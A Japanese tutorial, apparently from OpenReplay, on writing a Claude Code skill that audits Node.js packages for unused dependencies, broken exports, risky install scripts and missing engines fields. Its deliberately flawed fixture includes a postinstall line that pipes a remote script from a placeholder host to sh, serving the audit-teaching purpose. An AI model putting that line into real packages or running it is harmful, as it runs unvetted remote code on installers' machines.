12k
All articles

AIスキルでNodeプロジェクトを監査する方法

Claude CodeのスキルでNode.jsパッケージを監査。未使用の依存関係、危険なライフサイクルスクリプト、exportsやenginesの問題を根拠と確信度付きで確認します。

OpenReplay Team
OpenReplay Team
AIスキルでNodeプロジェクトを監査する方法

AIスキルでNodeプロジェクトを監査するには、.claude/skills/<skill-name>/ に SKILL.md ファイルをコミットします。このファイルで実際の package.json とビルド出力をプロンプトに注入し、判断を要する少数のチェックを実行して根拠付きで報告するよう Claude Code に指示します。

パッケージレビューの多くは、毎回同じ4つの指摘で終わります。もう誰もimportしていない依存関係、誰も中身を読んでいない postinstall スクリプト、engines フィールドの欠落、そしてビルドで生成されないファイルを指している exports マップです。こうした指摘を、PRのたびに書き直すことになります。

本記事では、この作業のための小さな監査スキルを1つ作成します。ファイル全体を示し、あらゆる編集作業ではなく「このパッケージを監査して」という依頼のときだけ起動させる方法を説明したうえで、フィクスチャリポジトリに対する実行例を順に見ていきます。また、スキルが誤りやすいポイントについても取り上げます。

重要なポイント

  • Claude Code のプロジェクトスキルは、.claude/skills/<skill-name>/ に置かれた SKILL.md ファイルを含むフォルダです。このフォルダをコミットすれば、リポジトリをクローンした全員が同じ /skill-name コマンドを使えるようになります。
  • SKILL.md 内で !cat package.json から始まる行は Claude がスキルを読み込む前に実行されるため、監査は推測ではなく実際のマニフェストに基づいて行われます。
  • 注入されたコマンドが失敗すると、Claude Code は呼び出し全体を中断します。デフォルトの bash シェルでは、検索・比較コマンドの終了コード1を除き、0以外の終了コードはすべて失敗とみなされます。正当な理由で失敗しうるコマンドには || true を付ける必要があります。
  • 監査スキルはインストールスクリプトを読むだけにとどめ、決して実行してはいけません。npm install、npm ci、npm run は、注入コマンドと allowed-tools のどちらにも含めないでください。
  • ESLint、npm audit、publint は同じ入力に対して常に同じ結果を返します。監査スキルはそうではないため、判断を要する問題に限って使いましょう。

PRのたびに繰り返される4つのレビューコメント

同じパッケージレビューコメントが繰り返されるのは、その背後にある問題がルールでは決着できないからです。ある依存関係がまだ必要かどうかを判断するには、コードベースを検索する必要があります。postinstall スクリプトが想定外の動作をするかどうかを判断するには、中身を読む必要があります。どちらについても、リンターに設定オプションはありません。

Claude Code のスキルは、このような判断を伴う作業に適しています。スキルとは SKILL.md ファイルに記述された再利用可能な指示のセットで、リクエストが説明文と一致したとき、またはスキル名を入力したときに Claude Code が読み込みます。この形式が初めての方は、フロントエンドワークフロー向けの Claude Code スキルや再利用可能なAIエージェント機能に関するガイドで概念を確認できます。

パッケージ監査用の Claude Code スキルを作成する方法

Claude Code スキルを作成するには、.claude/skills/ の下にディレクトリを追加し、その中に SKILL.md ファイルを置きます。このファイルは --- で囲まれたYAMLフロントマターと、それに続くMarkdownの指示で構成されます。ディレクトリ名、またはフロントマターの name がスラッシュコマンドになります。

スキルフォルダを作成する

プロジェクトスキルはリポジトリの .claude フォルダに置きます。Claude Code は .claude/skills/<skill-name>/SKILL.md に保存されたスキルを、そのリポジトリでのすべてのセッションで読み込みます。

mkdir -p .claude/skills/node-package-audit

SKILL.md の全体

以下のファイルを .claude/skills/node-package-audit/SKILL.md として保存します。冒頭の --- は必ず1行目に置いてください。

---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---

## Manifest
!`cat package.json`

## Top-level files
!`ls -a`

## Build output
!`ls dist lib build || true`

## Instructions

Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.

For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.

1. Dependencies: for each entry in dependencies and devDependencies,
   search src, scripts in package.json, config files and bin entries for
   a use. Flag only entries with no reference anywhere. Tools can be
   referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
   against the build output listed above. Flag paths that point at files
   that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
   Flag anything that downloads, runs a remote script, writes outside
   the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
   the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
   syntax or APIs used in the source.

Finish with a table of findings, then a short list of what you could not
check and why.

フロントマターと注入コマンドの役割

このファイルで使っているキーはすべてフロントマターリファレンスに記載されています。必須のキーはありませんが、ドキュメントでは description の設定が推奨されています。未知のキーがあってもエラーにはならず、Claude Code は単にそれを無視します。そのため、allowed_tools のようなタイプミスは何の警告もなく消えてしまいます。

3つの ! 行では、動的コンテキスト注入(dynamic context injection)を使用しています。Claude がスキルを読む前に、Claude Code は各コマンドを実行し、その行をコマンドの出力で置き換えます。いずれか1つでも失敗すると、呼び出し全体が中断されます。ls は、一覧表示を指定されたディレクトリが存在しない場合に0以外の値で終了します。そして、まだビルドされていないパッケージには dist/ がありません。ビルド出力の行が || true で終わっているのはそのためです。一方、cat package.json には意図的にフォールバックを付けていません。Nodeパッケージでマニフェストが存在しないなら、監査は中止されるべきだからです。

Claude Code は注入コマンドに対して許可プロンプトを表示しません。オートモード以外では、権限ルールで明示的に許可されていない注入コマンドは呼び出しを停止させます。allowed-tools は、スキルがこれらのコマンドを事前承認するための仕組みです。Claude Code は複合コマンドの各部分を個別にチェックするため、ls dist lib build || true には ls だけでなく true 用のルールも必要です。allowed-tools に Bash(true) が含まれているのはそのためです。この許可は、スキルを呼び出したターンの間だけ有効です。実行が Shell command permission check failed で中断した場合は、そのコマンドの許可ルールを権限設定に追加してください。

知っておくと便利な SKILL.md のオプションのフロントマターフィールドが2つあります。paths は、自動読み込みの対象を、指定したグロブに一致するファイルに対する作業に限定します。disable-model-invocation: true を指定すると、/node-package-audit と入力したときにのみスキルが実行されるようになります。

編集時ではなく監査時に起動する説明文を書く

Claude は description フィールドを使って、明示的に指示されなくてもスキルを読み込むかどうかを判断します。「Nodeプロジェクトを支援します」のような説明文では、曖昧すぎて「このパッケージを監査して」に確実に一致せず、しかも範囲が広すぎて無関係な作業中にも読み込まれてしまいます。

上記の node-package-audit の説明文では、最初の文にユースケースを置き、トリガーとなる動詞(audit、review、sanity-check、ready to publish)を列挙し、最後に明示的な除外条件を書いています。スキル一覧では、description と when_to_use を合わせたテキストが1,536文字で切り捨てられるため、主要なユースケースは先頭に置く必要があります。それでもスキルが頻繁に起動しすぎる場合、ドキュメントでは説明文をより具体的にするか、手動呼び出しのみにすることが推奨されています。

ルールではなく判断を要する5つのチェック

スキルの各チェックはコンテキストに依存する問いを投げかけるもので、どのチェックでも、指摘を「確認済み」とするにはファイルまたはフィールドを引用する必要があります。

各依存関係はまだ必要か? スキルは、依存関係にフラグを立てる前に、それが使われている箇所を探す必要があります。importは簡単なケースです。難しいのは、scripts 内でCLIとして呼び出されているパッケージや、設定ファイル内で文字列として指定されているプラグインです。

exports はビルド出力と一致しているか? スキルは、宣言されたパスを、受け取った ls の出力と照合します。存在しないファイルを指すパスは「確認済み」になります。条件が正しいフォーマットを指しているかどうかという疑問は、通常「未検証」とされます。

インストールスクリプトに想定外の動作はないか? npm 11 は、依存関係の preinstall、install、postinstall スクリプトをデフォルトで実行します。また、git などのレジストリ以外のソースからインストールされた依存関係については prepare も実行します。2026年7月8日にリリースされた npm 12 では、パッケージが承認されていない限り、これらの依存関係スクリプトは実行されなくなり、git、file、link の依存関係からの prepare も同様にブロックされます。npm 11 以前を使用しているプロジェクトや、承認済みのパッケージでは、引き続き実行されます。リモートファイルをシェルにパイプするスクリプトは、レビューでコメントすべき対象です。スキルはこれらのスクリプトを読むだけで、決して実行してはいけません。注入行にも allowed-tools にも npm コマンドが一切含まれていないのはそのためです。同じサプライチェーンの考え方はCI設定にも当てはまり、これについては GitHub ワークフローのセキュリティ監査で取り上げています。なお、コミットされたスキルの allowed-tools にはワークスペースの信頼設定が適用されません。Claude Code は、一度も信頼したことのないフォルダであってもこのフィールドを尊重します。クローンしたリポジトリでは、必ずこのフィールドの内容を確認してください。

レイアウトはリポジトリの規約に従っているか? ここでいう「規約」とは、兄弟パッケージがすでに実践していることを指します。「好みではなく逸脱をフラグする」という指示によって、このチェックがスタイルに関するアドバイスに変わってしまうのを防いでいます。

engines が欠落していないか、誤っていないか? npm が engines を強制するのは、インストールする側が engine-strict を有効にしている場合だけです。それ以外の場合、バージョンの不一致は警告が表示されるだけで、インストールはそのまま続行されます。範囲が欠落していたり誤っていたりしても気付かれずに失敗するため、このチェックには価値があります。

スキルが起動することを確認してから実行する

スキルが起動するかどうかは、4つの方法で確認できます。「What skills are available?」と質問する、/node-package-audit を直接呼び出す、claude plugin validate .claude/skills を実行する、または --debug 付きで Claude Code を起動する、のいずれかです。

What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug

claude plugin validate には Claude Code v2.1.233 以降が必要です。/node-package-audit は動作するのに「このパッケージを監査して」でスキルが起動しない場合は、まずフロントマターを確認してください。フロントマターのパースに失敗しても、スキルの読み込みは止まりません。Claude Code はメタデータなしでスキルを読み込むため、スラッシュコマンドの入力は引き続き機能しますが、Claude にはリクエストと照合するための説明文がありません。また、ドキュメントでは SKILL.md を500行未満に抑えることも推奨されています。

欠陥を仕込んだフィクスチャ

この package.json には4つの欠陥が仕込まれています。dist/ には index.js と index.d.ts しかなく、.prettierrc には prettier-plugin-organize-imports が名前で指定されています。

{
  "name": "@acme/date-utils",
  "version": "1.4.0",
  "type": "module",
  "main": "./dist/index.js",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.mjs"
    }
  },
  "scripts": {
    "build": "tsc",
    "lint": "eslint .",
    "postinstall": "curl -fsSL https://example.com/setup.sh | sh"
  },
  "dependencies": {
    "left-pad": "^1.3.0"
  },
  "devDependencies": {
    "eslint": "^9.0.0",
    "prettier-plugin-organize-imports": "^4.0.0",
    "typescript": "^5.6.0"
  }
}

仕込まれた欠陥は、使われていない left-pad、存在しない index.mjs を指す exports パス、リモートスクリプトをシェルにパイプする postinstall、そして engines フィールドの欠落です。

出力と見落とし

レポートは、指摘事項の表と、それに続く「確認できなかった項目」のリストという形で返ってきます。このフィクスチャに対する出力例を以下に示します。

Findings

| # | Check        | Finding                                              | Evidence                                          | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package          | no import in src/, not named in scripts or config | confirmed  |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused       | no import in src/                                 | unverified |
| 3 | Exports      | exports["."].import points at a missing file         | ./dist/index.mjs is not in the build output       | confirmed  |
| 4 | Lifecycle    | postinstall downloads and runs a remote script       | scripts.postinstall pipes curl output to sh       | confirmed  |
| 5 | Engines      | package.json has no engines field                    | no "engines" key in package.json                  | confirmed  |

Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.

想定される見落としは、prettier-plugin-organize-imports に対する誤った「未使用」フラグです。このパッケージは設定ファイル内に文字列として登場するだけだからです。スキルの指示によってこのリスクは軽減されますが、なくすことはできません。まず確信度(Confidence)の列を確認してください。「未検証」の依存関係の指摘は、削除する理由ではなく、自分で grep して確かめるきっかけとして扱いましょう。

スキルはリンターではない

スキルは決定論的なツールでは答えられない問いを扱うものであり、ときには誤った答えを出します。ESLint と publint は同じ入力に対して同じ結果を返し、npm audit も特定のアドバイザリのセットに対して同じ結果を返します。したがって、これらは厳格なゲートとしてCIに組み込むべきものです。監査スキルの居場所はレビューであり、そこでは人間がその根拠を読んでから対応を判断します。決定論的なコードチェックを自動化する意義は依然として変わらず、スキルがそのいずれかを置き換えるわけではありません。

誤った exports パスや誤った engines の範囲は、通常CIではなく実行時に表面化します。セッションリプレイは、その結果として生じる真っ白な画面、コンソールエラー、失敗したリクエストをコンテキストとともに示し、スキルは公開前に静的な原因を捕捉します。

まとめ

小さな監査スキルが機能するのは、その対象範囲が狭いからです。実際のファイルを注入し、根拠を引用しながら5つのチェックを実行し、インストールスクリプトを実行せずに読み、確信が持てないときにはそれを明確に伝えます。上記の SKILL.md をコミットし、最も頻繁にレビューするパッケージで /node-package-audit を実行してみてください。そして、スキルが繰り返し指摘する項目のうち決定論的なルールで表現できるものは、そちらに移していきましょう。

よくある質問

npm 12 でインストールスクリプトがブロックされるようになった今でも、インストールスクリプトのチェックは役に立ちますか?

はい。npm 12.0.0 では、npm approve-scripts で承認されていない限り、依存関係の preinstall、install、postinstall スクリプトは実行されなくなり、git、file、link の依存関係からの prepare スクリプトも同様にブロックされます。しかし、npm 11 以前を使用している利用者の環境では引き続きデフォルトで実行され、承認済みのパッケージでも実行され続けます。リモートスクリプトをシェルにパイプする postinstall は、依然としてレビューが必要です。

多数のパッケージを含むモノレポでは、監査スキルをどこに置くべきですか?

共有の監査スキルはルートの .claude/skills フォルダに置き、リポジトリ全体に適用されるようにします。特定のパッケージ固有のルールについては、そのパッケージ内に別のスキルをコミットします(例: packages/api/.claude/skills/)。Claude Code はサブディレクトリ内のファイルを扱う際にネストされたスキルフォルダを検出するため、パッケージ単位のスキルは、Claude がそのディレクトリ内のファイルを読んだり編集したりするまで表示されない場合があります。

開発者が、コミットされたスキルと同じ名前の個人用スキルを持っている場合はどうなりますか?

個人用スキルが優先されます。Claude Code はスキル名の衝突を、エンタープライズ、個人、プロジェクトの順で解決します。そのため、~/.claude/skills/node-package-audit/SKILL.md にあるスキルは、その開発者にとってコミットされた .claude/skills/node-package-audit/SKILL.md を上書きします。プラグインスキルは名前空間で区切られているため、衝突することはありません。チームメンバーの監査結果にリポジトリ版の最近の変更が反映されていない場合は、まず同名の個人用スキルがないか確認してください。

Understand every bug

Uncover frustrations, understand bugs and fix slowdowns like never before with OpenReplay — self-hosted, with full data ownership.

Star on GitHub

We use cookies to improve your experience. By using our site, you accept cookies.